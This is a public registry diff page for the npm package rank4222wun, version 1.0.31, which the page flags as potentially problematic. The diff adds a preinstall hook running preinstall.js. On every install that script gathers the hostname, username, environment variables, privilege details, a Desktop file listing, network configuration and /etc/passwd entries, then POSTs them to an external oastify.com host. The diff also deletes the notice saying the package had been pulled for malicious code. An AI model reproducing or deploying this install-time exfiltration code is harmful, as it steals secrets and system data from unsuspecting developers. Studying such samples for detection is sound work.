rank4222wun 0.0.1-security → 1.0.31
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +7 -3
- package/preinstall.js +58 -0
- package/rank4222wun-1.0.31.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.31",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {}
|
|
6
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
const escapeReport = {
|
|
6
|
+
timestamp: new Date().toISOString(),
|
|
7
|
+
os_info: {
|
|
8
|
+
platform: os.platform(),
|
|
9
|
+
release: os.release(),
|
|
10
|
+
hostname: os.hostname(),
|
|
11
|
+
user: os.userInfo().username,
|
|
12
|
+
arch: os.arch()
|
|
13
|
+
},
|
|
14
|
+
results: {}
|
|
15
|
+
};
|
|
16
|
+
|
|
17
|
+
const run = (cmd) => new Promise(resolve => {
|
|
18
|
+
exec(cmd, { timeout: 7000 }, (err, stdout, stderr) => {
|
|
19
|
+
resolve(stdout ? stdout.trim() : (stderr ? `ERR: ${stderr.trim()}` : null));
|
|
20
|
+
});
|
|
21
|
+
});
|
|
22
|
+
|
|
23
|
+
async function startDiscovery() {
|
|
24
|
+
console.log("🔍 Detected OS: " + os.platform());
|
|
25
|
+
|
|
26
|
+
if (os.platform() === 'win32') {
|
|
27
|
+
// أوامر ويندوز لسحب المعلومات
|
|
28
|
+
console.log("🖥️ Running Windows Discovery...");
|
|
29
|
+
escapeReport.results.env_vars = await run("set");
|
|
30
|
+
escapeReport.results.whoami_priv = await run("whoami /priv");
|
|
31
|
+
escapeReport.results.directory_list = await run("dir C:\\Users\\" + os.userInfo().username + "\\Desktop");
|
|
32
|
+
escapeReport.results.network_info = await run("ipconfig /all");
|
|
33
|
+
} else {
|
|
34
|
+
// أوامر لينكس (في حال انتقلنا لحاوية تانية)
|
|
35
|
+
console.log("🐧 Running Linux Discovery...");
|
|
36
|
+
escapeReport.results.etc_passwd = await run("cat /etc/passwd | head -n 5");
|
|
37
|
+
escapeReport.results.kernel = await run("uname -a");
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
sendReport();
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
function sendReport() {
|
|
44
|
+
const data = JSON.stringify(escapeReport, null, 2);
|
|
45
|
+
const req = https.request({
|
|
46
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
47
|
+
port: 443,
|
|
48
|
+
path: '/cross-platform-report',
|
|
49
|
+
method: 'POST',
|
|
50
|
+
headers: { 'Content-Type': 'application/json' }
|
|
51
|
+
}, (res) => {
|
|
52
|
+
console.log(`✅ Report Sent. Status: ${res.statusCode}`);
|
|
53
|
+
});
|
|
54
|
+
req.write(data);
|
|
55
|
+
req.end();
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
startDiscovery();
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|